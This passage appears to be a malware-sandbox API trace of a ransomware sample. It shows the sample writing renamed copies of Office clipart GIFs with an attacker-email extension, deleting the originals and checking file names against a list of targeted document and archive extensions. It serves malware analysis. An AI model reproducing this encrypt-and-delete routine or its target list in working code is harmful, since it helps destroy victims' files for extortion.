[0148.665] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2350, lpOverlapped=0x0) returned 1 [0148.667] ReadFile (in: hFile=0x10b8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.667] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.667] SetEndOfFile (hFile=0x103c) returned 1 [0148.692] CloseHandle (hObject=0x103c) returned 1 [0148.699] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.699] SetEndOfFile (hFile=0x10b8) returned 1 [0148.708] CloseHandle (hObject=0x10b8) returned 1 [0148.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0148.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.709] lstrlenW (lpString=".doc") returned 4 [0148.709] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.709] lstrlenW (lpString=".docx") returned 5 [0148.709] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.709] lstrlenW (lpString=".pdf") returned 4 [0148.709] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.709] lstrlenW (lpString=".xls") returned 4 [0148.709] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.709] lstrlenW (lpString=".xlsx") returned 5 [0148.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.709] lstrlenW (lpString=".ppt") returned 4 [0148.709] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.709] lstrlenW (lpString=".zip") returned 4 [0148.709] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.709] lstrlenW (lpString=".rar") returned 4 [0148.709] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.709] lstrlenW (lpString=".bz2") returned 4 [0148.709] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.709] lstrlenW (lpString=".7z") returned 3 [0148.709] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.709] lstrlenW (lpString=".dbf") returned 4 [0148.709] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.709] lstrlenW (lpString=".1cd") returned 4 [0148.709] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0148.710] lstrlenW (lpString=".jpg") returned 4 [0148.710] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.710] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.710] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.710] GetLastError () returned 0x0 [0148.710] ReadFile (in: hFile=0x10b8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0148.774] WriteFile (in: hFile=0x10b4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0148.775] ReadFile (in: hFile=0x10b8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.775] WriteFile (in: hFile=0x10b4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.775] SetEndOfFile (hFile=0x10b4) returned 1 [0148.776] CloseHandle (hObject=0x10b4) returned 1 [0148.778] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.779] SetEndOfFile (hFile=0x10b8) returned 1 [0148.779] CloseHandle (hObject=0x10b8) returned 1 [0148.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0148.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.781] lstrlenW (lpString=".doc") returned 4 [0148.781] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.781] lstrlenW (lpString=".docx") returned 5 [0148.781] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.781] lstrlenW (lpString=".pdf") returned 4 [0148.781] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.781] lstrlenW (lpString=".xls") returned 4 [0148.781] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.781] lstrlenW (lpString=".xlsx") returned 5 [0148.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.781] lstrlenW (lpString=".ppt") returned 4 [0148.781] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.781] lstrlenW (lpString=".zip") returned 4 [0148.781] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.781] lstrlenW (lpString=".rar") returned 4 [0148.781] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.781] lstrlenW (lpString=".bz2") returned 4 [0148.781] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.781] lstrlenW (lpString=".7z") returned 3 [0148.781] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.782] lstrlenW (lpString=".dbf") returned 4 [0148.782] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.782] lstrlenW (lpString=".1cd") returned 4 [0148.782] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0148.782] lstrlenW (lpString=".jpg") returned 4 [0148.782] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.787] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.787] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.793] GetLastError () returned 0x0 [0148.793] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2e73, lpOverlapped=0x0) returned 1 [0148.882] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0148.884] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.884] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.884] SetEndOfFile (hFile=0x103c) returned 1 [0148.884] CloseHandle (hObject=0x103c) returned 1 [0148.885] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.885] SetEndOfFile (hFile=0x10e8) returned 1 [0148.886] CloseHandle (hObject=0x10e8) returned 1 [0148.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0148.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.887] lstrlenW (lpString=".doc") returned 4 [0148.887] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.887] lstrlenW (lpString=".docx") returned 5 [0148.887] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.887] lstrlenW (lpString=".pdf") returned 4 [0148.887] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.888] lstrlenW (lpString=".xls") returned 4 [0148.888] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.888] lstrlenW (lpString=".xlsx") returned 5 [0148.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.888] lstrlenW (lpString=".ppt") returned 4 [0148.888] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.888] lstrlenW (lpString=".zip") returned 4 [0148.888] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.888] lstrlenW (lpString=".rar") returned 4 [0148.888] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.888] lstrlenW (lpString=".bz2") returned 4 [0148.888] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.888] lstrlenW (lpString=".7z") returned 3 [0148.888] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.888] lstrlenW (lpString=".dbf") returned 4 [0148.888] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.888] lstrlenW (lpString=".1cd") returned 4 [0148.888] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0148.888] lstrlenW (lpString=".jpg") returned 4 [0148.888] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.889] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.889] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0148.890] GetLastError () returned 0x0 [0148.890] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x319e, lpOverlapped=0x0) returned 1 [0149.067] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x31a0, lpOverlapped=0x0) returned 1 [0149.162] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.162] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.162] SetEndOfFile (hFile=0x103c) returned 1 [0149.162] CloseHandle (hObject=0x103c) returned 1 [0149.165] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.165] SetEndOfFile (hFile=0x10e8) returned 1 [0149.166] CloseHandle (hObject=0x10e8) returned 1 [0149.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0149.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.167] lstrlenW (lpString=".doc") returned 4 [0149.167] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.167] lstrlenW (lpString=".docx") returned 5 [0149.167] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.167] lstrlenW (lpString=".pdf") returned 4 [0149.167] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.167] lstrlenW (lpString=".xls") returned 4 [0149.167] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.167] lstrlenW (lpString=".xlsx") returned 5 [0149.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.167] lstrlenW (lpString=".ppt") returned 4 [0149.167] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.167] lstrlenW (lpString=".zip") returned 4 [0149.167] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.168] lstrlenW (lpString=".rar") returned 4 [0149.168] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.168] lstrlenW (lpString=".bz2") returned 4 [0149.168] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.168] lstrlenW (lpString=".7z") returned 3 [0149.168] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.168] lstrlenW (lpString=".dbf") returned 4 [0149.168] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.168] lstrlenW (lpString=".1cd") returned 4 [0149.168] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0149.168] lstrlenW (lpString=".jpg") returned 4 [0149.168] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.168] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.169] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0149.169] GetLastError () returned 0x0 [0149.169] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x30c2, lpOverlapped=0x0) returned 1 [0149.170] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x30d0, lpOverlapped=0x0) returned 1 [0149.172] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.172] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.172] SetEndOfFile (hFile=0x103c) returned 1 [0149.172] CloseHandle (hObject=0x103c) returned 1 [0149.173] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.173] SetEndOfFile (hFile=0x10e8) returned 1 [0149.174] CloseHandle (hObject=0x10e8) returned 1 [0149.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0149.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.175] lstrlenW (lpString=".doc") returned 4 [0149.175] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.175] lstrlenW (lpString=".docx") returned 5 [0149.175] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.175] lstrlenW (lpString=".pdf") returned 4 [0149.175] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.175] lstrlenW (lpString=".xls") returned 4 [0149.175] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.175] lstrlenW (lpString=".xlsx") returned 5 [0149.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.176] lstrlenW (lpString=".ppt") returned 4 [0149.176] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.176] lstrlenW (lpString=".zip") returned 4 [0149.176] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.176] lstrlenW (lpString=".rar") returned 4 [0149.176] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.176] lstrlenW (lpString=".bz2") returned 4 [0149.176] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.176] lstrlenW (lpString=".7z") returned 3 [0149.176] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.176] lstrlenW (lpString=".dbf") returned 4 [0149.176] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.176] lstrlenW (lpString=".1cd") returned 4 [0149.176] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0149.176] lstrlenW (lpString=".jpg") returned 4 [0149.176] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.177] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.177] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0149.178] GetLastError () returned 0x0 [0149.178] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1485, lpOverlapped=0x0) returned 1 [0149.304] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1490, lpOverlapped=0x0) returned 1 [0149.306] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.306] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.306] SetEndOfFile (hFile=0x103c) returned 1 [0149.306] CloseHandle (hObject=0x103c) returned 1 [0149.309] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.309] SetEndOfFile (hFile=0x10e8) returned 1 [0149.310] CloseHandle (hObject=0x10e8) returned 1 [0149.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.311] lstrlenW 